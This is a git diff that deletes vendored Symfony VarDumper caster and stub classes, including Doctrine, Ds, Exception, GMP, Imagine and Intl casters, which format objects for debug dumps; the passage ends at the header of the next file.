a/vendor/symfony/var-dumper/Caster/DoctrineCaster.php b/vendor/symfony/var-dumper/Caster/DoctrineCaster.php deleted file mode 100644 index 7409508..0000000 --- a/vendor/symfony/var-dumper/Caster/DoctrineCaster.php +++ /dev/null @@ -1,62 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Doctrine\Common\Proxy\Proxy as CommonProxy; -use Doctrine\ORM\PersistentCollection; -use Doctrine\ORM\Proxy\Proxy as OrmProxy; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts Doctrine related classes to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class DoctrineCaster -{ - public static function castCommonProxy(CommonProxy $proxy, array $a, Stub $stub, $isNested) - { - foreach (['__cloner__', '__initializer__'] as $k) { - if (\array_key_exists($k, $a)) { - unset($a[$k]); - ++$stub->cut; - } - } - - return $a; - } - - public static function castOrmProxy(OrmProxy $proxy, array $a, Stub $stub, $isNested) - { - foreach (['_entityPersister', '_identifier'] as $k) { - if (\array_key_exists($k = "\0Doctrine\\ORM\\Proxy\\Proxy\0".$k, $a)) { - unset($a[$k]); - ++$stub->cut; - } - } - - return $a; - } - - public static function castPersistentCollection(PersistentCollection $coll, array $a, Stub $stub, $isNested) - { - foreach (['snapshot', 'association', 'typeClass'] as $k) { - if (\array_key_exists($k = "\0Doctrine\\ORM\\PersistentCollection\0".$k, $a)) { - $a[$k] = new CutStub($a[$k]); - } - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/DsCaster.php b/vendor/symfony/var-dumper/Caster/DsCaster.php deleted file mode 100644 index 11423c9..0000000 --- a/vendor/symfony/var-dumper/Caster/DsCaster.php +++ /dev/null @@ -1,70 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Ds\Collection; -use Ds\Map; -use Ds\Pair; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts Ds extension classes to array representation. - * - * @author Jáchym Toušek - * - * @final since Symfony 4.4 - */ -class DsCaster -{ - public static function castCollection(Collection $c, array $a, Stub $stub, bool $isNested): array - { - $a[Caster::PREFIX_VIRTUAL.'count'] = $c->count(); - $a[Caster::PREFIX_VIRTUAL.'capacity'] = $c->capacity(); - - if (!$c instanceof Map) { - $a += $c->toArray(); - } - - return $a; - } - - public static function castMap(Map $c, array $a, Stub $stub, bool $isNested): array - { - foreach ($c as $k => $v) { - $a[] = new DsPairStub($k, $v); - } - - return $a; - } - - public static function castPair(Pair $c, array $a, Stub $stub, bool $isNested): array - { - foreach ($c->toArray() as $k => $v) { - $a[Caster::PREFIX_VIRTUAL.$k] = $v; - } - - return $a; - } - - public static function castPairStub(DsPairStub $c, array $a, Stub $stub, bool $isNested): array - { - if ($isNested) { - $stub->class = Pair::class; - $stub->value = null; - $stub->handle = 0; - - $a = $c->value; - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/DsPairStub.php b/vendor/symfony/var-dumper/Caster/DsPairStub.php deleted file mode 100644 index a1dcc15..0000000 --- a/vendor/symfony/var-dumper/Caster/DsPairStub.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * @author Nicolas Grekas - */ -class DsPairStub extends Stub -{ - public function __construct($key, $value) - { - $this->value = [ - Caster::PREFIX_VIRTUAL.'key' => $key, - Caster::PREFIX_VIRTUAL.'value' => $value, - ]; - } -} diff --git a/vendor/symfony/var-dumper/Caster/EnumStub.php b/vendor/symfony/var-dumper/Caster/EnumStub.php deleted file mode 100644 index 7a4e98a..0000000 --- a/vendor/symfony/var-dumper/Caster/EnumStub.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Represents an enumeration of values. - * - * @author Nicolas Grekas - */ -class EnumStub extends Stub -{ - public $dumpKeys = true; - - public function __construct(array $values, bool $dumpKeys = true) - { - $this->value = $values; - $this->dumpKeys = $dumpKeys; - } -} diff --git a/vendor/symfony/var-dumper/Caster/ExceptionCaster.php b/vendor/symfony/var-dumper/Caster/ExceptionCaster.php deleted file mode 100644 index e99ab7b..0000000 --- a/vendor/symfony/var-dumper/Caster/ExceptionCaster.php +++ /dev/null @@ -1,382 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\ErrorHandler\Exception\SilencedErrorContext; -use Symfony\Component\VarDumper\Cloner\Stub; -use Symfony\Component\VarDumper\Exception\ThrowingCasterException; - -/** - * Casts common Exception classes to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class ExceptionCaster -{ - public static $srcContext = 1; - public static $traceArgs = true; - public static $errorTypes = [ - \E_DEPRECATED => 'E_DEPRECATED', - \E_USER_DEPRECATED => 'E_USER_DEPRECATED', - \E_RECOVERABLE_ERROR => 'E_RECOVERABLE_ERROR', - \E_ERROR => 'E_ERROR', - \E_WARNING => 'E_WARNING', - \E_PARSE => 'E_PARSE', - \E_NOTICE => 'E_NOTICE', - \E_CORE_ERROR => 'E_CORE_ERROR', - \E_CORE_WARNING => 'E_CORE_WARNING', - \E_COMPILE_ERROR => 'E_COMPILE_ERROR', - \E_COMPILE_WARNING => 'E_COMPILE_WARNING', - \E_USER_ERROR => 'E_USER_ERROR', - \E_USER_WARNING => 'E_USER_WARNING', - \E_USER_NOTICE => 'E_USER_NOTICE', - \E_STRICT => 'E_STRICT', - ]; - - private static $framesCache = []; - - public static function castError(\Error $e, array $a, Stub $stub, $isNested, $filter = 0) - { - return self::filterExceptionArray($stub->class, $a, "\0Error\0", $filter); - } - - public static function castException(\Exception $e, array $a, Stub $stub, $isNested, $filter = 0) - { - return self::filterExceptionArray($stub->class, $a, "\0Exception\0", $filter); - } - - public static function castErrorException(\ErrorException $e, array $a, Stub $stub, $isNested) - { - if (isset($a[$s = Caster::PREFIX_PROTECTED.'severity'], self::$errorTypes[$a[$s]])) { - $a[$s] = new ConstStub(self::$errorTypes[$a[$s]], $a[$s]); - } - - return $a; - } - - public static function castThrowingCasterException(ThrowingCasterException $e, array $a, Stub $stub, $isNested) - { - $trace = Caster::PREFIX_VIRTUAL.'trace'; - $prefix = Caster::PREFIX_PROTECTED; - $xPrefix = "\0Exception\0"; - - if (isset($a[$xPrefix.'previous'], $a[$trace]) && $a[$xPrefix.'previous'] instanceof \Exception) { - $b = (array) $a[$xPrefix.'previous']; - $class = get_debug_type($a[$xPrefix.'previous']); - self::traceUnshift($b[$xPrefix.'trace'], $class, $b[$prefix.'file'], $b[$prefix.'line']); - $a[$trace] = new TraceStub($b[$xPrefix.'trace'], false, 0, -\count($a[$trace]->value)); - } - - unset($a[$xPrefix.'previous'], $a[$prefix.'code'], $a[$prefix.'file'], $a[$prefix.'line']); - - return $a; - } - - public static function castSilencedErrorContext(SilencedErrorContext $e, array $a, Stub $stub, $isNested) - { - $sPrefix = "\0".SilencedErrorContext::class."\0"; - - if (!isset($a[$s = $sPrefix.'severity'])) { - return $a; - } - - if (isset(self::$errorTypes[$a[$s]])) { - $a[$s] = new ConstStub(self::$errorTypes[$a[$s]], $a[$s]); - } - - $trace = [[ - 'file' => $a[$sPrefix.'file'], - 'line' => $a[$sPrefix.'line'], - ]]; - - if (isset($a[$sPrefix.'trace'])) { - $trace = array_merge($trace, $a[$sPrefix.'trace']); - } - - unset($a[$sPrefix.'file'], $a[$sPrefix.'line'], $a[$sPrefix.'trace']); - $a[Caster::PREFIX_VIRTUAL.'trace'] = new TraceStub($trace, self::$traceArgs); - - return $a; - } - - public static function castTraceStub(TraceStub $trace, array $a, Stub $stub, $isNested) - { - if (!$isNested) { - return $a; - } - $stub->class = ''; - $stub->handle = 0; - $frames = $trace->value; - $prefix = Caster::PREFIX_VIRTUAL; - - $a = []; - $j = \count($frames); - if (0 > $i = $trace->sliceOffset) { - $i = max(0, $j + $i); - } - if (!isset($trace->value[$i])) { - return []; - } - $lastCall = isset($frames[$i]['function']) ? (isset($frames[$i]['class']) ? $frames[0]['class'].$frames[$i]['type'] : '').$frames[$i]['function'].'()' : ''; - $frames[] = ['function' => '']; - $collapse = false; - - for ($j += $trace->numberingOffset - $i++; isset($frames[$i]); ++$i, --$j) { - $f = $frames[$i]; - $call = isset($f['function']) ? (isset($f['class']) ? $f['class'].$f['type'] : '').$f['function'] : '???'; - - $frame = new FrameStub( - [ - 'object' => isset($f['object']) ? $f['object'] : null, - 'class' => isset($f['class']) ? $f['class'] : null, - 'type' => isset($f['type']) ? $f['type'] : null, - 'function' => isset($f['function']) ? $f['function'] : null, - ] + $frames[$i - 1], - false, - true - ); - $f = self::castFrameStub($frame, [], $frame, true); - if (isset($f[$prefix.'src'])) { - foreach ($f[$prefix.'src']->value as $label => $frame) { - if (0 === strpos($label, "\0~collapse=0")) { - if ($collapse) { - $label = substr_replace($label, '1', 11, 1); - } else { - $collapse = true; - } - } - $label = substr_replace($label, "title=Stack level $j.&", 2, 0); - } - $f = $frames[$i - 1]; - if ($trace->keepArgs && !empty($f['args']) && $frame instanceof EnumStub) { - $frame->value['arguments'] = new ArgsStub($f['args'], isset($f['function']) ? $f['function'] : null, isset($f['class']) ? $f['class'] : null); - } - } elseif ('???' !== $lastCall) { - $label = new ClassStub($lastCall); - if (isset($label->attr['ellipsis'])) { - $label->attr['ellipsis'] += 2; - $label = substr_replace($prefix, "ellipsis-type=class&ellipsis={$label->attr['ellipsis']}&ellipsis-tail=1&title=Stack level $j.", 2, 0).$label->value.'()'; - } else { - $label = substr_replace($prefix, "title=Stack level $j.", 2, 0).$label->value.'()'; - } - } else { - $label = substr_replace($prefix, "title=Stack level $j.", 2, 0).$lastCall; - } - $a[substr_replace($label, sprintf('separator=%s&', $frame instanceof EnumStub ? ' ' : ':'), 2, 0)] = $frame; - - $lastCall = $call; - } - if (null !== $trace->sliceLength) { - $a = \array_slice($a, 0, $trace->sliceLength, true); - } - - return $a; - } - - public static function castFrameStub(FrameStub $frame, array $a, Stub $stub, $isNested) - { - if (!$isNested) { - return $a; - } - $f = $frame->value; - $prefix = Caster::PREFIX_VIRTUAL; - - if (isset($f['file'], $f['line'])) { - $cacheKey = $f; - unset($cacheKey['object'], $cacheKey['args']); - $cacheKey[] = self::$srcContext; - $cacheKey = implode('-', $cacheKey); - - if (isset(self::$framesCache[$cacheKey])) { - $a[$prefix.'src'] = self::$framesCache[$cacheKey]; - } else { - if (preg_match('/\((\d+)\)(?:\([\da-f]{32}\))? : (?:eval\(\)\'d code|runtime-created function)$/', $f['file'], $match)) { - $f['file'] = substr($f['file'], 0, -\strlen($match[0])); - $f['line'] = (int) $match[1]; - } - $src = $f['line']; - $srcKey = $f['file']; - $ellipsis = new LinkStub($srcKey, 0); - $srcAttr = 'collapse='.(int) $ellipsis->inVendor; - $ellipsisTail = isset($ellipsis->attr['ellipsis-tail']) ? $ellipsis->attr['ellipsis-tail'] : 0; - $ellipsis = isset($ellipsis->attr['ellipsis']) ? $ellipsis->attr['ellipsis'] : 0; - - if (file_exists($f['file']) && 0 <= self::$srcContext) { - if (!empty($f['class']) && (is_subclass_of($f['class'], 'Twig\Template') || is_subclass_of($f['class'], 'Twig_Template')) && method_exists($f['class'], 'getDebugInfo')) { - $template = isset($f['object']) ? $f['object'] : unserialize(sprintf('O:%d:"%s":0:{}', \strlen($f['class']), $f['class'])); - - $ellipsis = 0; - $templateSrc = method_exists($template, 'getSourceContext') ? $template->getSourceContext()->getCode() : (method_exists($template, 'getSource') ? $template->getSource() : ''); - $templateInfo = $template->getDebugInfo(); - if (isset($templateInfo[$f['line']])) { - if (!method_exists($template, 'getSourceContext') || !file_exists($templatePath = $template->getSourceContext()->getPath())) { - $templatePath = null; - } - if ($templateSrc) { - $src = self::extractSource($templateSrc, $templateInfo[$f['line']], self::$srcContext, 'twig', $templatePath, $f); - $srcKey = ($templatePath ?: $template->getTemplateName()).':'.$templateInfo[$f['line']]; - } - } - } - if ($srcKey == $f['file']) { - $src = self::extractSource(file_get_contents($f['file']), $f['line'], self::$srcContext, 'php', $f['file'], $f); - $srcKey .= ':'.$f['line']; - if ($ellipsis) { - $ellipsis += 1 + \strlen($f['line']); - } - } - $srcAttr .= sprintf('&separator= &file=%s&line=%d', rawurlencode($f['file']), $f['line']); - } else { - $srcAttr .= '&separator=:'; - } - $srcAttr .= $ellipsis ? '&ellipsis-type=path&ellipsis='.$ellipsis.'&ellipsis-tail='.$ellipsisTail : ''; - self::$framesCache[$cacheKey] = $a[$prefix.'src'] = new EnumStub(["\0~$srcAttr\0$srcKey" => $src]); - } - } - - unset($a[$prefix.'args'], $a[$prefix.'line'], $a[$prefix.'file']); - if ($frame->inTraceStub) { - unset($a[$prefix.'class'], $a[$prefix.'type'], $a[$prefix.'function']); - } - foreach ($a as $k => $v) { - if (!$v) { - unset($a[$k]); - } - } - if ($frame->keepArgs && !empty($f['args'])) { - $a[$prefix.'arguments'] = new ArgsStub($f['args'], $f['function'], $f['class']); - } - - return $a; - } - - private static function filterExceptionArray(string $xClass, array $a, string $xPrefix, int $filter): array - { - if (isset($a[$xPrefix.'trace'])) { - $trace = $a[$xPrefix.'trace']; - unset($a[$xPrefix.'trace']); // Ensures the trace is always last - } else { - $trace = []; - } - - if (!($filter & Caster::EXCLUDE_VERBOSE) && $trace) { - if (isset($a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line'])) { - self::traceUnshift($trace, $xClass, $a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line']); - } - $a[Caster::PREFIX_VIRTUAL.'trace'] = new TraceStub($trace, self::$traceArgs); - } - if (empty($a[$xPrefix.'previous'])) { - unset($a[$xPrefix.'previous']); - } - unset($a[$xPrefix.'string'], $a[Caster::PREFIX_DYNAMIC.'xdebug_message'], $a[Caster::PREFIX_DYNAMIC.'__destructorException']); - - if (isset($a[Caster::PREFIX_PROTECTED.'message']) && false !== strpos($a[Caster::PREFIX_PROTECTED.'message'], "@anonymous\0")) { - $a[Caster::PREFIX_PROTECTED.'message'] = preg_replace_callback('/[a-zA-Z_\x7f-\xff][\\\\a-zA-Z0-9_\x7f-\xff]*+@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)[0-9a-fA-F]++/', function ($m) { - return class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0])) ?: 'class').'@anonymous' : $m[0]; - }, $a[Caster::PREFIX_PROTECTED.'message']); - } - - if (isset($a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line'])) { - $a[Caster::PREFIX_PROTECTED.'file'] = new LinkStub($a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line']); - } - - return $a; - } - - private static function traceUnshift(array &$trace, ?string $class, string $file, int $line): void - { - if (isset($trace[0]['file'], $trace[0]['line']) && $trace[0]['file'] === $file && $trace[0]['line'] === $line) { - return; - } - array_unshift($trace, [ - 'function' => $class ? 'new '.$class : null, - 'file' => $file, - 'line' => $line, - ]); - } - - private static function extractSource(string $srcLines, int $line, int $srcContext, string $lang, ?string $file, array $frame): EnumStub - { - $srcLines = explode("\n", $srcLines); - $src = []; - - for ($i = $line - 1 - $srcContext; $i <= $line - 1 + $srcContext; ++$i) { - $src[] = (isset($srcLines[$i]) ? $srcLines[$i] : '')."\n"; - } - - if ($frame['function'] ?? false) { - $stub = new CutStub(new \stdClass()); - $stub->class = (isset($frame['class']) ? $frame['class'].$frame['type'] : '').$frame['function']; - $stub->type = Stub::TYPE_OBJECT; - $stub->attr['cut_hash'] = true; - $stub->attr['file'] = $frame['file']; - $stub->attr['line'] = $frame['line']; - - try { - $caller = isset($frame['class']) ? new \ReflectionMethod($frame['class'], $frame['function']) : new \ReflectionFunction($frame['function']); - $stub->class .= ReflectionCaster::getSignature(ReflectionCaster::castFunctionAbstract($caller, [], $stub, true, Caster::EXCLUDE_VERBOSE)); - - if ($f = $caller->getFileName()) { - $stub->attr['file'] = $f; - $stub->attr['line'] = $caller->getStartLine(); - } - } catch (\ReflectionException $e) { - // ignore fake class/function - } - - $srcLines = ["\0~separator=\0" => $stub]; - } else { - $stub = null; - $srcLines = []; - } - - $ltrim = 0; - do { - $pad = null; - for ($i = $srcContext << 1; $i >= 0; --$i) { - if (isset($src[$i][$ltrim]) && "\r" !== ($c = $src[$i][$ltrim]) && "\n" !== $c) { - if (null === $pad) { - $pad = $c; - } - if ((' ' !== $c && "\t" !== $c) || $pad !== $c) { - break; - } - } - } - ++$ltrim; - } while (0 > $i && null !== $pad); - - --$ltrim; - - foreach ($src as $i => $c) { - if ($ltrim) { - $c = isset($c[$ltrim]) && "\r" !== $c[$ltrim] ? substr($c, $ltrim) : ltrim($c, " \t"); - } - $c = substr($c, 0, -1); - if ($i !== $srcContext) { - $c = new ConstStub('default', $c); - } else { - $c = new ConstStub($c, $stub ? 'in '.$stub->class : ''); - if (null !== $file) { - $c->attr['file'] = $file; - $c->attr['line'] = $line; - } - } - $c->attr['lang'] = $lang; - $srcLines[sprintf("\0~separator=› &%d\0", $i + $line - $srcContext)] = $c; - } - - return new EnumStub($srcLines); - } -} diff --git a/vendor/symfony/var-dumper/Caster/FrameStub.php b/vendor/symfony/var-dumper/Caster/FrameStub.php deleted file mode 100644 index 8786755..0000000 --- a/vendor/symfony/var-dumper/Caster/FrameStub.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -/** - * Represents a single backtrace frame as returned by debug_backtrace() or Exception->getTrace(). - * - * @author Nicolas Grekas - */ -class FrameStub extends EnumStub -{ - public $keepArgs; - public $inTraceStub; - - public function __construct(array $frame, bool $keepArgs = true, bool $inTraceStub = false) - { - $this->value = $frame; - $this->keepArgs = $keepArgs; - $this->inTraceStub = $inTraceStub; - } -} diff --git a/vendor/symfony/var-dumper/Caster/GmpCaster.php b/vendor/symfony/var-dumper/Caster/GmpCaster.php deleted file mode 100644 index 2b20e15..0000000 --- a/vendor/symfony/var-dumper/Caster/GmpCaster.php +++ /dev/null @@ -1,32 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts GMP objects to array representation. - * - * @author Hamza Amrouche - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class GmpCaster -{ - public static function castGmp(\GMP $gmp, array $a, Stub $stub, $isNested, $filter): array - { - $a[Caster::PREFIX_VIRTUAL.'value'] = new ConstStub(gmp_strval($gmp), gmp_strval($gmp)); - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/ImagineCaster.php b/vendor/symfony/var-dumper/Caster/ImagineCaster.php deleted file mode 100644 index d1289da..0000000 --- a/vendor/symfony/var-dumper/Caster/ImagineCaster.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Imagine\Image\ImageInterface; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * @author Grégoire Pineau - */ -final class ImagineCaster -{ - public static function castImage(ImageInterface $c, array $a, Stub $stub, bool $isNested): array - { - $imgData = $c->get('png'); - if (\strlen($imgData) > 1 * 1000 * 1000) { - $a += [ - Caster::PREFIX_VIRTUAL.'image' => new ConstStub($c->getSize()), - ]; - } else { - $a += [ - Caster::PREFIX_VIRTUAL.'image' => new ImgStub($imgData, 'image/png', $c->getSize()), - ]; - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/ImgStub.php b/vendor/symfony/var-dumper/Caster/ImgStub.php deleted file mode 100644 index 05789fe..0000000 --- a/vendor/symfony/var-dumper/Caster/ImgStub.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -/** - * @author Grégoire Pineau - */ -class ImgStub extends ConstStub -{ - public function __construct(string $data, string $contentType, string $size) - { - $this->value = ''; - $this->attr['img-data'] = $data; - $this->attr['img-size'] = $size; - $this->attr['content-type'] = $contentType; - } -} diff --git a/vendor/symfony/var-dumper/Caster/IntlCaster.php b/vendor/symfony/var-dumper/Caster/IntlCaster.php deleted file mode 100644 index d7099cb..0000000 --- a/vendor/symfony/var-dumper/Caster/IntlCaster.php +++ /dev/null @@ -1,172 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * @author Nicolas Grekas - * @author Jan Schädlich - * - * @final since Symfony 4.4 - */ -class IntlCaster -{ - public static function castMessageFormatter(\MessageFormatter $c, array $a, Stub $stub, $isNested) - { - $a += [ - Caster::PREFIX_VIRTUAL.'locale' => $c->getLocale(), - Caster::PREFIX_VIRTUAL.'pattern' => $c->getPattern(), - ]; - - return self::castError($c, $a); - } - - public static function castNumberFormatter(\NumberFormatter $c, array $a, Stub $stub, $isNested, $filter = 0) - { - $a += [ - Caster::PREFIX_VIRTUAL.'locale' => $c->getLocale(), - Caster::PREFIX_VIRTUAL.'pattern' => $c->getPattern(), - ]; - - if ($filter & Caster::EXCLUDE_VERBOSE) { - $stub->cut += 3; - - return self::castError($c, $a); - } - - $a += [ - Caster::PREFIX_VIRTUAL.'attributes' => new EnumStub( - [ - 'PARSE_INT_ONLY' => $c->getAttribute(\NumberFormatter::PARSE_INT_ONLY), - 'GROUPING_USED' => $c->getAttribute(\NumberFormatter::GROUPING_USED), - 'DECIMAL_ALWAYS_SHOWN' => $c->getAttribute(\NumberFormatter::DECIMAL_ALWAYS_SHOWN), - 'MAX_INTEGER_DIGITS' => $c->getAttribute(\NumberFormatter::MAX_INTEGER_DIGITS), - 'MIN_INTEGER_DIGITS' => $c->getAttribute(\NumberFormatter::MIN_INTEGER_DIGITS), - 'INTEGER_DIGITS' => $c->getAttribute(\NumberFormatter::INTEGER_DIGITS), - 'MAX_FRACTION_DIGITS' => $c->getAttribute(\NumberFormatter::MAX_FRACTION_DIGITS), - 'MIN_FRACTION_DIGITS' => $c->getAttribute(\NumberFormatter::MIN_FRACTION_DIGITS), - 'FRACTION_DIGITS' => $c->getAttribute(\NumberFormatter::FRACTION_DIGITS), - 'MULTIPLIER' => $c->getAttribute(\NumberFormatter::MULTIPLIER), - 'GROUPING_SIZE' => $c->getAttribute(\NumberFormatter::GROUPING_SIZE), - 'ROUNDING_MODE' => $c->getAttribute(\NumberFormatter::ROUNDING_MODE), - 'ROUNDING_INCREMENT' => $c->getAttribute(\NumberFormatter::ROUNDING_INCREMENT), - 'FORMAT_WIDTH' => $c->getAttribute(\NumberFormatter::FORMAT_WIDTH), - 'PADDING_POSITION' => $c->getAttribute(\NumberFormatter::PADDING_POSITION), - 'SECONDARY_GROUPING_SIZE' => $c->getAttribute(\NumberFormatter::SECONDARY_GROUPING_SIZE), - 'SIGNIFICANT_DIGITS_USED' => $c->getAttribute(\NumberFormatter::SIGNIFICANT_DIGITS_USED), - 'MIN_SIGNIFICANT_DIGITS' => $c->getAttribute(\NumberFormatter::MIN_SIGNIFICANT_DIGITS), - 'MAX_SIGNIFICANT_DIGITS' => $c->getAttribute(\NumberFormatter::MAX_SIGNIFICANT_DIGITS), - 'LENIENT_PARSE' => $c->getAttribute(\NumberFormatter::LENIENT_PARSE), - ] - ), - Caster::PREFIX_VIRTUAL.'text_attributes' => new EnumStub( - [ - 'POSITIVE_PREFIX' => $c->getTextAttribute(\NumberFormatter::POSITIVE_PREFIX), - 'POSITIVE_SUFFIX' => $c->getTextAttribute(\NumberFormatter::POSITIVE_SUFFIX), - 'NEGATIVE_PREFIX' => $c->getTextAttribute(\NumberFormatter::NEGATIVE_PREFIX), - 'NEGATIVE_SUFFIX' => $c->getTextAttribute(\NumberFormatter::NEGATIVE_SUFFIX), - 'PADDING_CHARACTER' => $c->getTextAttribute(\NumberFormatter::PADDING_CHARACTER), - 'CURRENCY_CODE' => $c->getTextAttribute(\NumberFormatter::CURRENCY_CODE), - 'DEFAULT_RULESET' => $c->getTextAttribute(\NumberFormatter::DEFAULT_RULESET), - 'PUBLIC_RULESETS' => $c->getTextAttribute(\NumberFormatter::PUBLIC_RULESETS), - ] - ), - Caster::PREFIX_VIRTUAL.'symbols' => new EnumStub( - [ - 'DECIMAL_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL), - 'GROUPING_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::GROUPING_SEPARATOR_SYMBOL), - 'PATTERN_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::PATTERN_SEPARATOR_SYMBOL), - 'PERCENT_SYMBOL' => $c->getSymbol(\NumberFormatter::PERCENT_SYMBOL), - 'ZERO_DIGIT_SYMBOL' => $c->getSymbol(\NumberFormatter::ZERO_DIGIT_SYMBOL), - 'DIGIT_SYMBOL' => $c->getSymbol(\NumberFormatter::DIGIT_SYMBOL), - 'MINUS_SIGN_SYMBOL' => $c->getSymbol(\NumberFormatter::MINUS_SIGN_SYMBOL), - 'PLUS_SIGN_SYMBOL' => $c->getSymbol(\NumberFormatter::PLUS_SIGN_SYMBOL), - 'CURRENCY_SYMBOL' => $c->getSymbol(\NumberFormatter::CURRENCY_SYMBOL), - 'INTL_CURRENCY_SYMBOL' => $c->getSymbol(\NumberFormatter::INTL_CURRENCY_SYMBOL), - 'MONETARY_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::MONETARY_SEPARATOR_SYMBOL), - 'EXPONENTIAL_SYMBOL' => $c->getSymbol(\NumberFormatter::EXPONENTIAL_SYMBOL), - 'PERMILL_SYMBOL' => $c->getSymbol(\NumberFormatter::PERMILL_SYMBOL), - 'PAD_ESCAPE_SYMBOL' => $c->getSymbol(\NumberFormatter::PAD_ESCAPE_SYMBOL), - 'INFINITY_SYMBOL' => $c->getSymbol(\NumberFormatter::INFINITY_SYMBOL), - 'NAN_SYMBOL' => $c->getSymbol(\NumberFormatter::NAN_SYMBOL), - 'SIGNIFICANT_DIGIT_SYMBOL' => $c->getSymbol(\NumberFormatter::SIGNIFICANT_DIGIT_SYMBOL), - 'MONETARY_GROUPING_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::MONETARY_GROUPING_SEPARATOR_SYMBOL), - ] - ), - ]; - - return self::castError($c, $a); - } - - public static function castIntlTimeZone(\IntlTimeZone $c, array $a, Stub $stub, $isNested) - { - $a += [ - Caster::PREFIX_VIRTUAL.'display_name' => $c->getDisplayName(), - Caster::PREFIX_VIRTUAL.'id' => $c->getID(), - Caster::PREFIX_VIRTUAL.'raw_offset' => $c->getRawOffset(), - ]; - - if ($c->useDaylightTime()) { - $a += [ - Caster::PREFIX_VIRTUAL.'dst_savings' => $c->getDSTSavings(), - ]; - } - - return self::castError($c, $a); - } - - public static function castIntlCalendar(\IntlCalendar $c, array $a, Stub $stub, $isNested, $filter = 0) - { - $a += [ - Caster::PREFIX_VIRTUAL.'type' => $c->getType(), - Caster::PREFIX_VIRTUAL.'first_day_of_week' => $c->getFirstDayOfWeek(), - Caster::PREFIX_VIRTUAL.'minimal_days_in_first_week' => $c->getMinimalDaysInFirstWeek(), - Caster::PREFIX_VIRTUAL.'repeated_wall_time_option' => $c->getRepeatedWallTimeOption(), - Caster::PREFIX_VIRTUAL.'skipped_wall_time_option' => $c->getSkippedWallTimeOption(), - Caster::PREFIX_VIRTUAL.'time' => $c->getTime(), - Caster::PREFIX_VIRTUAL.'in_daylight_time' => $c->inDaylightTime(), - Caster::PREFIX_VIRTUAL.'is_lenient' => $c->isLenient(), - Caster::PREFIX_VIRTUAL.'time_zone' => ($filter & Caster::EXCLUDE_VERBOSE) ? new CutStub($c->getTimeZone()) : $c->getTimeZone(), - ]; - - return self::castError($c, $a); - } - - public static function castIntlDateFormatter(\IntlDateFormatter $c, array $a, Stub $stub, $isNested, $filter = 0) - { - $a += [ - Caster::PREFIX_VIRTUAL.'locale' => $c->getLocale(), - Caster::PREFIX_VIRTUAL.'pattern' => $c->getPattern(), - Caster::PREFIX_VIRTUAL.'calendar' => $c->getCalendar(), - Caster::PREFIX_VIRTUAL.'time_zone_id' => $c->getTimeZoneId(), - Caster::PREFIX_VIRTUAL.'time_type' => $c->getTimeType(), - Caster::PREFIX_VIRTUAL.'date_type' => $c->getDateType(), - Caster::PREFIX_VIRTUAL.'calendar_object' => ($filter & Caster::EXCLUDE_VERBOSE) ? new CutStub($c->getCalendarObject()) : $c->getCalendarObject(), - Caster::PREFIX_VIRTUAL.'time_zone' => ($filter & Caster::EXCLUDE_VERBOSE) ? new CutStub($c->getTimeZone()) : $c->getTimeZone(), - ]; - - return self::castError($c, $a); - } - - private static function castError($c, array $a): array - { - if ($errorCode = $c->getErrorCode()) { - $a += [ - Caster::PREFIX_VIRTUAL.'error_code' => $errorCode, - Caster::PREFIX_VIRTUAL.'error_message' => $c->getErrorMessage(), - ]; - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/LinkStub.php 